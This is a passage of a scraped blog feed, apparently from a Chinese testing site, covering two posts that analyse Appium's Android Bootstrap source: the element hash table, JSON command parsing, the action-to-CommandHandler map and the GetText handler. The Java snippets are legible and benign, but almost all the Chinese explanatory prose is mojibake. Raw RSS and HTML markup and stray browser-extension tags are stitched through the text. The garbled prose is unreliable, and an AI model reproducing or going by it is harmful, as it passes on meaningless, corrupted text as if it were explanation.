銆銆浠庝笂闈㈢殑涓ゆ潯璋冭瘯淇℃伅鐪嬫潵錛屽叾瀹炴病鏈夋槑鏄劇殑鐪嬪埌絀剁珶浣跨敤鐨勬槸鍝釜鎺т歡銆傚叾瀹炶繖閲屼笉璧風(fēng)溂鐨別lementId灝辨槸紜畾鐢ㄧ殑鏄摢涓帶浠剁殑錛屾敞鎰忚繖涓猠lementId騫朵笉鏄竴涓帶浠跺湪鐣岄潰涓婄殑璧勬簮id錛屽畠鍏跺疄鏄疊ootstrap緇存姢鐨勪竴涓繚瀛樻墍鏈夊凡緇忚幏鍙栬繃鐨勬帶浠剁殑鍝堝笇琛ㄧ殑閿箋傚涓婁竴灝忚妭鐪嬪埌鐨勶紝姣忎竴涓狝ndroidElement閮芥湁涓や釜閲嶈鐨勬垚鍛樺彉閲忥細(xì)
銆銆UiObject el 錛歶iautomator妗嗘灦涓唬琛ㄤ簡(jiǎn)涓涓湡瀹炵殑紿楀彛鎺т歡
銆銆Sting id :  涓涓敮涓鐨勮嚜鍔ㄥ鍔犵殑瀛椾覆綾誨瀷鏁存暟錛宲c绔氨鏄氳繃瀹冩潵鍦ˋndroidElementHash榪欎釜綾諱腑鎵懼埌鎯寵鐨勬帶浠剁殑
銆3. AndroidElement鎺т歡鍝堝笇琛?/strong>
銆銆涓婁竴鑺傛垜浠鍒癮ppium pc绔槸閫氳繃id鎶奧ebElement鍜岀洰鏍囨満鍣ㄧ鐨凙ndroidElement鏄犲皠璧鋒潵鐨勶紝閭d箞鎴戜滑榪欎竴鑺傚氨鏉ョ湅涓嬬淮鎶ndroidElement鐨勮繖涓搱甯岃〃鏄庝箞瀹炵幇鐨勩?/div>
銆銆棣栧厛錛屽畠鎷ユ湁涓や釜鎴愬憳鍙橀噺錛?/div>
銆銆private final Hashtable<String, AndroidElement> elements;
銆銆private       Integer                           counter;
銆銆elements 錛氫竴涓互AndroidElement 鐨刬d鐨勫瓧涓茬被鍨嬩負(fù)key錛屼互AndroidElement鐨勫疄渚嬩負(fù)value鐨勭殑鍝堝笇琛?/div>
銆銆counter : 涓涓暣鍨嬪彉閲忥紝鏈変袱涓綔鐢細(xì)鍏朵竴鏄畠浠h〃浜?jiǎn)褰撳墠宸簿l忕敤鍒扮殑鎺т歡鐨勬暟鐩紙鍏跺疄涔熶笉瀹屽叏鏄紝浣犲湪鑴氭湰涓鍚屼竴涓帶浠惰皟鐢ㄤ袱嬈indElement鍏跺疄浼?xì)漶旂敓涓や釜涓嶅悓id鐨凙ndroidElement鎺т歡錛夛紝鍏朵簩鏄畠浠h〃浜?jiǎn)涓涓柊鐢ㄥ埌鐨勬帶浠剁殑id錛岃岃繖涓猧d灝辨槸涓婇潰鐨別lements鍝堝笇琛ㄧ殑閿?/div>
銆銆榪欎釜鍝堝笇琛ㄧ殑閿奸兘鏄粠0寮濮嬬殑錛岃鐪嬪畠鐨勬瀯閫犲嚱鏁幫細(xì)
銆銆/**
銆銆* Constructor
銆銆*/
銆銆public AndroidElementsHash() {
銆銆counter = 0;
銆銆elements = new Hashtable<String, AndroidElement>();
銆銆}
銆銆鑰屽畠鍦ㄦ暣涓狟ootstrap涓槸鏈変笖鍙湁涓涓疄渚嬬殑錛屼笖鐪嬪畠鐨勫崟渚嬫ā寮忓疄鐜幫細(xì)
銆銆public static AndroidElementsHash getInstance() {
銆銆if (AndroidElementsHash.instance == null) {
銆銆AndroidElementsHash.instance = new AndroidElementsHash();
銆銆}
銆銆return AndroidElementsHash.instance;
銆銆}
銆銆浠ヤ笅澧炲姞涓涓帶浠剁殑鏂規(guī)硶addElement鍏呭垎鎻忚堪浜?jiǎn)湄?fù)浠涔堣counter鏄竴涓嚜澧炲姞鐨刱ey錛屼笖鏄瘡涓柊鍙戠幇鐨凙ndroidElement鎺т歡鐨刬d錛?/div>
銆銆public AndroidElement addElement(final UiObject element) {
銆銆counter++;
銆銆final String key = counter.toString();
銆銆final AndroidElement el = new AndroidElement(key, element);
銆銆elements.put(key, el);
銆銆return el;
銆銆}
銆浠嶢ppium鍙戣繃鏉ョ殑鎺т歡鏌ユ壘鍛戒護(hù)澶ф柟鍚戜笂鍒嗕袱綾伙細(xì)
銆銆1. 鐩存帴鍩轟簬Appium Driver鏉ユ煡鎵撅紝榪欑鎯呭喌涓媋ppium鍙戣繃鏉ョ殑json鍛戒護(hù)鏄笉鍖呭惈鎺т歡鍝堝笇琛ㄧ殑閿間俊鎭殑
銆銆WebElement addNote = driver.findElement(By.name("Add note"));
銆銆2. 鍩轟簬鐖舵帶浠舵煡鎵撅細(xì)
銆銆WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
銆銆浠ヤ笂鐨勮剼鏈細(xì)鍏堝皾璇曟壘鍒癗ote1榪欎釜鏃ヨ鐨勭埗鎺т歡ListView,騫舵妸榪欎釜鎺т歡淇濆瓨鍒版帶浠跺搱甯岃〃錛岀劧鍚庡啀鏍規(guī)嵁鐖舵帶浠剁殑鍝堝笇琛ㄩ敭鍊間互鍙?qiáng)瀛愭帶錃g鐨勯夋嫨瀛愭壘鍒版兂瑕佺殑Note1:


]]>Appium Android Bootstrap婧愮爜鍒嗘瀽涔嬪懡浠よВ鏋愭墽琛?/title><link>http://www.tkk7.com/qileilove/archive/2014/12/23/421668.html</link><dc:creator>欏哄叾鑷劧EVO</dc:creator><author>欏哄叾鑷劧EVO</author><pubDate>Mon, 22 Dec 2014 16:25:00 GMT</pubDate><guid>http://www.tkk7.com/qileilove/archive/2014/12/23/421668.html</guid><wfw:comment>http://www.tkk7.com/qileilove/comments/421668.html</wfw:comment><comments>http://www.tkk7.com/qileilove/archive/2014/12/23/421668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/qileilove/comments/commentRss/421668.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/qileilove/services/trackbacks/421668.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">閫氳繃涓婁竴綃?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鏂囩珷</strong></u></a>銆?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Appium</strong></u></a> <a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a> <a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Bootstrap</strong></u></a>婧愮爜鍒嗘瀽涔嬫帶浠禔ndroidElement銆嬫垜浠煡閬撲簡(jiǎn)Appium浠巔c绔彂閫佽繃鏉ョ殑鍛戒護(hù)濡傛灉鏄帶浠剁浉鍏崇殑璇濓紝鏈緇堢洰鏍囨帶浠跺湪bootstrap涓槸浠ndroidElement瀵硅薄鐨勬柟寮忓憟鐜板嚭鏉ョ殑錛屽茍涓旇鎺т歡瀵硅薄浼?xì)鍦ˋndroidElementHash緇存姢鐨勬帶浠跺搱甯岃〃涓繚瀛樿搗鏉ャ備絾鏄痑ppium瑙﹀彂涓涓懡浠ら櫎浜?jiǎn)闇瑕佹彁渚涙槸鍚︿笌鎺т歡鐩稿叧榪欎釜淇℃伅澶栵紝榪橀渶瑕佸叾浠栫殑涓浜涗俊鎭紝姣斿錛岃繖涓槸浠涔堝懡浠わ紵榪欎釜灝辨槸鎴戜滑榪欑瘒鏂囩珷闇瑕佽璁虹殑璇濋浜?jiǎn)銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆涓嬮潰鎴戜滑榪樻槸鍏堢湅涓涓嬩粠pc绔彂榪囨潵鐨刯son鐨勬牸寮忔槸鎬庝箞鏍風(fēng)殑錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911451TEnd.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍙互鐪嬪埌閲岄潰闄や簡(jiǎn)params鎸囧畾鐨勬槸鍝竴涓帶浠朵箣澶栵紝榪樻寚瀹氫簡(jiǎn)鍙﹀涓や釜淇℃伅錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆cmd: 榪欐槸涓涓猘ction榪樻槸涓涓猻hutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆action錛氬鏋滄槸涓涓猘ction鐨勮瘽錛岄偅涔堟槸浠涔坅ction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆寮濮嬪墠鎴戜滑鍏堢畝瑕佹弿榪頒笅鎴戜滑闇瑕佹秹鍙?qiáng)鍒板嚑涓叧閿c伙細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911452dLU9.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><strong style="word-break: break-all;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">1. Appium鍛戒護(hù)瑙f瀽鍣ˋndroidCommand</a></strong></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆AndroidCommand榪欎釜綾葷湡瀹炵殑浣滅敤鍏跺疄灝辨槸鍘繪妸Appium浠巔c绔彂閫佽繃鏉ョ殑閭d覆json鍛戒護(hù)瑙f瀽鍑烘潵錛屽畠鎷ユ湁涓や釜鎴愬憳鍙橀噺錛?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆JSONObject         json;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆AndroidCommandType cmdType;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆json灝辨槸pc榪囨潵鐨刯son鏍煎紡鐨勯偅涓插懡浠わ紝cmdType灝辨槸action鎴栬卻hutdown錛屽叾瀹炲氨鏄敤鏉ユ妸榪欎釜綾諱吉瑁呮垚鏇村儚涓懡浠ょ被鑰屽凡錛屾垜璁や負(fù)濡傛灉涓嶆彁渚涜繖涓垚鍛樺彉閲忚岀洿鎺ヤ慨鏀瑰叾getType鐨勫疄鐜板幓瑙f瀽json瀛椾覆鐩存帴鑾峰緱瀵瑰簲鐨凙ndroidCommandType錛岀劧鍚庢妸榪欎釜綾葷殑鍚嶅瓧鏀規(guī)垚AndroidCommandParser寰椾簡(jiǎn)銆?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆閭d箞鎴戜滑寰涓嬬湅涓婣ndroidCommand絀剁珶鏄庝箞瀵瑰鎴風(fēng)鍛戒護(hù)榪涜瑙f瀽鐨勶紝瀹冪殑鏂規(guī)硶閮藉緢鐭紝鎵浠ユ垜鎶婂畠鍋氭垚涓涓〃錛岃繖鏍鋒瘮杈冩竻鏅扮偣錛?/a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412110911453mrzV.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;" alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">銆銆浠庤〃涓殑榪欎簺鏂規(guī)硶鍙互鐪嬪嚭鏉ワ紝榪欎釜綾繪墍鍋氱殑浜嬫儏鍩烘湰涓婇兘鏄庝箞鍘昏В鏋恆ppium浠巔c绔繃鏉ョ殑閭d覆json瀛椾覆銆?br /><br /></a><a target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆2. Action涓嶤ommandHandler鐨勬槧灝勫叧緋?/strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆浠庝笂闈㈡弿榪板彲浠ョ煡閬擄紝涓涓猘ction灝辨槸涓涓唬琛ㄨ鍛戒護(hù)鐨勫瓧涓詫紝姣斿‘click’銆備絾鏄竴涓瓧涓叉槸涓嶈兘鍘繪墽琛岀殑鍟婏紝鎵浠ユ垜浠渶瑕佹湁涓縐嶆柟寮忔妸瀹冭漿鎹㈡垚鍙互鎵ц鐨勪唬鐮侊紝榪欎釜灝辨槸AndroidCommandExecutor緇存姢鐨勪竴涓潤(rùn)鎬丠ashMap map鎵鍋氱殑浜嬫儏錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">class AndroidCommandExecutor {</div><div style="word-break: break-all; margin: 10px 0px;">private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();</div><div style="word-break: break-all; margin: 10px 0px;">static {</div><div style="word-break: break-all; margin: 10px 0px;">map.put("waitForIdle", new WaitForIdle());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("clear", new Clear());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("orientation", new Orientation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("swipe", new Swipe());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("flick", new Flick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("drag", new Drag());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pinch", new Pinch());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("click", new Click());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchLongClick", new TouchLongClick());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchDown", new TouchDown());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchUp", new TouchUp());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("touchMove", new TouchMove());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getText", new GetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("setText", new SetText());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getName", new GetName());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getAttribute", new GetAttribute());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDeviceSize", new GetDeviceSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("scrollTo", new ScrollTo());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("find", new Find());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getLocation", new GetLocation());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getSize", new GetSize());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("wake", new Wake());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressBack", new PressBack());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("pressKeyCode", new PressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("longPressKeyCode", new LongPressKeyCode());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("takeScreenshot", new TakeScreenshot());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("updateStrings", new UpdateStrings());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("getDataDir", new GetDataDir());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("performMultiPointerGesture", new MultiPointerGesture());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("openNotification", new OpenNotification());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("source", new Source());</div><div style="word-break: break-all; margin: 10px 0px;">map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆榪欎釜map鎸囧畾浜?jiǎn)鎴戜滑鏀寔鐨刾c绔繃鏉ョ殑鎵鏈塧ction錛屼互鍙?qiáng)瀵瑰簲鐨勫鐞嗚action鐨勭被鐨勫疄渚嬶紝鍏跺疄榪欎簺綾婚兘鏄疌ommandHandler鐨勫瓙綾誨熀鏈笂灝卞彧鏈変竴涓細(xì)鍘誨疄鐜癈ommandHandler鐨勮櫄鎷熸柟娉昬xecute錛佽鍋氱殑浜嬫儏灝卞ぇ姒傚氨榪欏嚑綾伙細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鎺т歡鐩稿叧鐨刟ction錛氳皟鐢ˋndroidElement鎺т歡鐨勬垚鍛樺彉閲廢iObject el瀵瑰簲鐨勬柟娉曟潵鎵ц鐪熷疄鐨勬搷浣?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆UiDevice鐩稿叧鐨刟ction錛氳皟鐢║iDevice鎻愪緵鐨勬柟娉?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆UiScrollable鐩稿叧鐨刟ction錛氳皟鐢║iScrollable鎻愪緵鐨勬柟娉?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆UiAutomator閭?涓璞¢兘娌℃湁鐨刟ction錛氳璋冪敤InteractionController鐨勫氨鍙嶅皠璋冪敤錛岃璋冪敤QueryController鐨勫氨鍙嶅皠璋冪敤銆傛敞鎰忚繖涓や釜綾籙iAutomator鏄病鏈夋彁渚涚洿鎺ヨ皟鐢ㄧ殑鏂規(guī)硶鐨勶紝鎵浠ュ彧鑳介氳繃鍙嶅皠銆傛洿澶氳繖涓や釜綾葷殑淇℃伅璇風(fēng)炕鐪嬩箣鍓嶇殑UiAutomator婧愮爜鍒嗘瀽鐩稿叧鐨勬枃绔?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍏朵粬錛氬鍙栧緱compressedLayoutHierarchy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鎸囧action鍚慍ommandHandler鐪熸鍙戠敓杞崲鐨勫湴鏂規(guī)槸鍦ㄨ繖涓狝ndroidCommandExecutor鐨別xecute鏂規(guī)硶涓細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command) {</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.debug("Got command action: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">if (map.containsKey(command.action())) {</div><div style="word-break: break-all; margin: 10px 0px;">return map.get(command.action()).execute(command);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,</div><div style="word-break: break-all; margin: 10px 0px;">"Unknown command: " + command.action());</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final JSONException e) {</div><div style="word-break: break-all; margin: 10px 0px;">Logger.error("Could not decode action/params of command");</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,</div><div style="word-break: break-all; margin: 10px 0px;">"Could not decode action/params of command, please check format!");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆瀹冮鍏堝彨涓婇潰鐨凙ndroidCommand瑙f瀽鍣ㄦ妸json瀛椾覆鐨刟ction緇欒В鏋愬嚭鏉?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鐒跺悗閫氳繃鍒氭彁鍒扮殑map鎶婅繖涓猘ction瀵瑰簲鐨凜ommandHandler鐨勫疄鐜扮被緇欏疄渚嬪寲</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鐒跺悗璋冪敤榪欎釜鍛戒護(hù)澶勭悊綾葷殑execute鏂規(guī)硶寮濮嬫墽琛屽懡浠?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆<strong style="word-break: break-all; line-height: normal !important;">3. 鍛戒護(hù)澶勭悊紺轟緥</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鎴戜滑榪欓噷灝辯ず渚嬫х殑鐪嬩笅getText榪欎釜action瀵瑰簲鐨凜ommandHandler鏄庝箞鍘婚氳繃AndroidElement鎺т歡榪涜璁劇疆鏂囨湰鐨勫鐞嗙殑錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">public class GetText extends CommandHandler {</div><div style="word-break: break-all; margin: 10px 0px;">/*</div><div style="word-break: break-all; margin: 10px 0px;">* @param command The {@link AndroidCommand} used for this handler.</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @return {@link AndroidCommandResult}</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @throws JSONException</div><div style="word-break: break-all; margin: 10px 0px;">*</div><div style="word-break: break-all; margin: 10px 0px;">* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.</div><div style="word-break: break-all; margin: 10px 0px;">* bootstrap.AndroidCommand)</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@Override</div><div style="word-break: break-all; margin: 10px 0px;">public AndroidCommandResult execute(final AndroidCommand command)</div><div style="word-break: break-all; margin: 10px 0px;">throws JSONException {</div><div style="word-break: break-all; margin: 10px 0px;">if (command.isElementCommand()) {</div><div style="word-break: break-all; margin: 10px 0px;">// Only makes sense on an element</div><div style="word-break: break-all; margin: 10px 0px;">try {</div><div style="word-break: break-all; margin: 10px 0px;">final AndroidElement el = command.getElement();</div><div style="word-break: break-all; margin: 10px 0px;">return getSuccessResult(el.getText());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final UiObjectNotFoundException e) {</div><div style="word-break: break-all; margin: 10px 0px;">return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,</div><div style="word-break: break-all; margin: 10px 0px;">e.getMessage());</div><div style="word-break: break-all; margin: 10px 0px;">} catch (final Exception e) { // handle NullPointerException</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unknown error");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return getErrorResult("Unable to get text without an element.");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍏抽敭浠g爜灝辨槸閲岄潰閫氳繃AndroidCommand鐨刧etElement鏂規(guī)硶錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆瑙f瀽浼犺繘鏉ョ殑AndroidCommand瀹炰緥淇濆瓨鐨刾c绔繃鏉ョ殑json瀛椾覆錛屾壘鍒?#8217;params‘欏圭殑瀛愰」’elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆閫氳繃榪欎釜鑾峰緱鐨刬d鍘繪帶浠跺搱甯岃〃錛堣鏌ョ湅銆夾ppium Android Bootstrap婧愮爜鍒嗘瀽涔嬫帶浠禔ndroidElement銆嬶級(jí)涓壘鍒扮洰鏍嘇ndroidElement鎺т歡瀵硅薄</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鐒跺悗璋冪敤鑾峰緱鐨凙ndroidElement鎺т歡瀵硅薄鐨刧etText鏂規(guī)硶錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鏈緇堥氳繃璋冪敤AndroidElement鎺т歡鎴愬憳UiObject鎺т歡瀵硅薄鐨刧etText鏂規(guī)硶鍙栧緱鎺т歡鏂囨湰淇℃伅</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆4. 灝忕粨</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆bootstrap鎺ユ敹鍒癮ppium浠巔c绔彂閫佽繃鏉ョ殑json鏍煎紡鐨勯敭鍊煎瀛椾覆鏈夊涓」錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆cmd: 榪欐槸涓涓猘ction榪樻槸涓涓猻hutdown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆action錛氬鏋滄槸涓涓猘ction鐨勮瘽錛岄偅涔堟槸浠涔坅ction錛屾瘮濡俢lick</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆params:鎷ユ湁鍏朵粬鐨勪竴浜涘瓙欏癸紝姣斿鎸囧畾鎿嶄綔鎺т歡鍦ˋndroidElementHash緇存姢鐨勬帶浠跺搱甯岃〃鐨勬帶浠墮敭鍊肩殑'elementId'</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鍦ㄦ敹鍒拌繖涓猨son鏍煎紡鍛戒護(hù)瀛椾覆鍚庯細(xì)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆AndroidCommandExecutor浼?xì)璋冪敤AndroidCommand鍘昏В鏋愬嚭瀵瑰簲鐨刟ction</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鐒跺悗鎶奱ction鍘籱ap鍒板搴旂殑鐪熷疄鍛戒護(hù)澶勭悊鏂規(guī)硶CommandHandler鐨勫疄鐜板瓙綾誨璞′腑</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">銆銆鐒跺悗璋冪敤瀵瑰簲鐨勫璞$殑execute鏂規(guī)硶鏉ユ墽琛屽懡浠?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">鐩稿叧鏂囩珷錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap婧愮爜鍒嗘瀽涔嬬畝浠?/div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">Appium Android Bootstrap涔嬫帶浠禔ndroidElement</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div class="jvxouba" id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/wx.jpg) no-repeat;"></div></a></div></div> <div><div class="ogmwcut" id="SL_button" class="ImTranslatorLogo" style="display: block; left: 552px; top: 2965px; opacity: 0.4; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div 